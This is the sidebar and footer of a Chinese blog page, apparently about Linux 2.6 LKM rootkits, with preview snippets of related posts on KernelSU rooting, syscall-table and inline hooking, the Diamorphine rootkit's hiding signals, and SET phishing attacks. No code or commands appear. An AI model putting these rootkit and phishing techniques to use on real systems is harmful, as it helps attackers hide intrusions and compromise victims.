想要在Android设备上获得root权限?KernelSU绝对是你的首选方案!作为一个基于内核的root解决方案,KernelSU通过GKI模式和LKM模式两种方式为你提供强大的root功能。无论你是刷机新手还是资深玩家,这份指南都将帮你快速上手。🚀 ## 什么是KernelSU?🤔 KernelSU是专门为Android GKI设备设计的root工具,它直接在内核空间工作,为用户空间应

gitblog_00048的博客 1128

【20260309】【亲测可用】【异常】Get https://registry-1.docker.io/v2/: net/http: request canceled

【异常】Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection。

奶爸的编程之路,也就一周冷个三天 2万+

DTI-ALPS处理笔记

前段时间刚好学习了一下DTI-ALPS处理(diffusion tensor image analysis along the perivascular space ),记录一下,以便后续学习。ALPS是2017年发表在《Japanese Journal of Radiology》的一篇文章首次提出的 (),主要用于无创评估脑内淋巴系统功能的衡量数值。C图和D图中的蓝色部分是投射纤维,绿色部分是联合纤维,红色部分是皮下纤维。

weixin_52073820的博客 4792

[zz]LKM Rootkits on Linux x86 v2.6

 [zz]LKM Rootkits on Linux x86 v2.6 收藏 转载自水木KernelTech版。关于hack系统调用表的一篇文章,里面还涉及了上学期ICS Lab中的二进制代码注入,很好很强大。略作整理(为什么技术博客默认的字体不是等宽的 T.T) =-|================================================-{ www.enye-sec.

Joe_KingKiller的专栏 601

Windows10环境下激活虚拟环境报错【source : 无法将“source”项识别为 cmdlet、函数、脚本文件或可运行程序的名称】

在使用Django创建Web程序前,需要创建一个虚拟的工作环境,在使用【source ll_env/bin/activate】命令激活虚拟环境时报错:source : 无法将“source”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。所在位置 行:1 字符: 2。

提供C#相关开发 、云计算、运维测试、网络安全相关技术分享与服务,有意向可联系。 1万+

LKM Rootkits on Linux x86 v2.6(含攻击系统调用入口函数)

转自:http://blog.csdn.net/ender049/archive/2008/10/03/3013945.aspx =-|================================================-{ www.enye-sec.org }-====|=-[ LKM Rootkits on Linux x86 v2.6 ]-================

cnctloveyu的专栏 6119

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

awesome-linux-rootkits快速入门:Linux安全研究者的必备工具集

awesome-linux-rootkits是一个全面的Linux Rootkit资源集合,为安全研究者和系统管理员提供了深入了解Linux Rootkit技术的宝贵资料。本指南将帮助你快速掌握这个工具集的核心内容、使用方法和研究价值,成为你Linux安全研究之旅的得力助手。 ## 什么是Rootkit?为什么研究它很重要? Rootkit是一种能够隐藏自身及其相关活动的恶意软件,它可以绕过系

gitblog_00007的博客 325

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

KernelSU项目:一加Ace5手机Root后无限重启问题分析与解决方案

在使用KernelSU项目对一加Ace5手机进行Root操作时,部分用户遇到了系统无限重启的问题。该问题出现在使用LKM模式修补init_boot镜像并刷入后,手机进入无限重启状态,而刷回官方init_boot镜像则能恢复正常。本文将深入分析这一问题的成因,并提供完整的解决方案。 ## 问题现象详细描述 用户在使用过程中经历了以下几个关键步骤: 1. 在已经使用LKM模式Root(通过Ker...

gitblog_00703的博客 2519

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

如何选择KernelSU模式:GKI与LKM的完整对比指南

KernelSU是一个基于内核的Android root解决方案,为用户提供了两种主要的运行模式:GKI(通用内核镜像)模式和LKM(可加载内核模块)模式。这两种模式在安装方式、系统兼容性和使用体验上有着显著差异,了解它们的区别对于正确选择和使用KernelSU至关重要。 ## 什么是GKI模式与LKM模式? ### GKI模式:现代化标准 GKI模式是Google推出的通用内核镜像标准,它

gitblog_01172的博客 2120

Diamorphine rootkit的特性与原理分析

仅作LKM rootkit研究之用,滥用后果自负。 Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。 特性: 当加载的时候, 模块是不可见的(lsmod 看不到); 通过发送31信号,可以达到隐藏和不隐藏进程的目的; 通过发送63信号,可以隐藏和不隐藏该内核模块; 通过发送64信号(给任何进程),可以...

guoguangwu的专栏 2624

Linux内核hook系统调用

一 获取系统调用表地址在Linux内核2.6之后,不能直接导出sys_call_table的地址后,我们要如何获得系统调用表的地址,从而实现系统调用的截获呢。将生成的.ko 文件加载到内核中.执行“dmesg”,查看系统日志,如图。接下来就要解释解释原理了。我们知道Linux系统中的系统调用是通过用户软件调用中断int0x80激发的,int0x80被执行后,内核获得CPU的控制权,并交由syste

Linux知识积累 4918

c++ hook例子_ARM平台linux系统内核HOOK常见问题探讨二

上一次我们针对内核HOOK常见问题讲了只读内存问题以及为了避免操作被打断如何阻塞其它CPU核心,还有ARM64的参数及内存布局等基础问题。在这些问题上,已经能基本满足我们日常做HOOK的需求。本节主要讲述另外几个HOOK相关问题。首先是HOOK的方式。除了上节讲过的系统调用表的HOOK和各种inline HOOK外,这里再介绍几种相对兼容性、稳定性更有保障的做法。最核心、最灵活的当然就是...

weixin_39795325的博客 637

linux内核动态库,Linux内核模块LKM的动态加载技术分析

Android-linux开发讨论请加QQ群109866329linux开发讨论请加QQ群109866329群里的管理员都是高手中的高手哦!【摘要】本文详解了Linux内核模块的动态加载技术。首先介绍了Linux内核采用LKM的好处,接着介绍了内核模块的基本结构。在分析了动态加载链接技术/ELF格式内核模块组成/内核符号表的基础之上,详细介绍了模块加载卸载的实现细节,包括模块拷贝/符号解析/模...

weixin_33461476的博客 1039

Kali-linux使用SET实施攻击

Kali-linux使用SET实施攻击 前面介绍了社会工程学工具包(SET)的简单使用。为了能帮助用户更容易的理解社会工程学的强大功能。本节将介绍使用社会工程学工具包实施各种攻击。 7.4.1 针对性钓鱼攻击向量 针对性钓鱼攻击向量通过构造特殊文件格式的漏洞进行渗透攻击,如利用Adobe Reader 8.1.0(PDF阅读器)的漏洞。实现钓鱼攻击向量主要通过发送邮件附件的方式,将包含渗透代码的文...

qq_44508509的博客 3024

Linux高级内核Inline HOOK

高级Linux Kernel Inline Hook技术分析与实现 2010-01-01 12:40 By wzt [目录] 1. 简述 2. 更改offset实现跳转 ...

weixin_34378045的博客 467

渗透测试ctf软件黑客工具(第一)

名 称版 描 述 主 页 0trace1.5跳跃枚举工具http://jon.oberheide.org/0trace/ 3proxy0.7.1.1微小的免费代理服务器。http://3proxy.ru/ 3proxy-win32的0.7.1.1微小的免费代理服...

kaitoulee 8008

国外大牛写的HOOK

Welcome to hLibrary. Here you can find loads of tutorials, downloads, and tools that can help you satisfy all of your programming and hacking needs. Welcome Penn[Sign Out] Preferences Change

wangpeng2011314的专栏 6529

理解 Linux 动态库加载:LD_LIBRARY_PATH

flyfish

二分掌柜的 386
上一篇: linux内核空间与用户空间信息交互方法
下一篇: Linux2.4.18内核下的系统调用劫持
ender049
博客等级 码龄20年 7粉丝 1原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值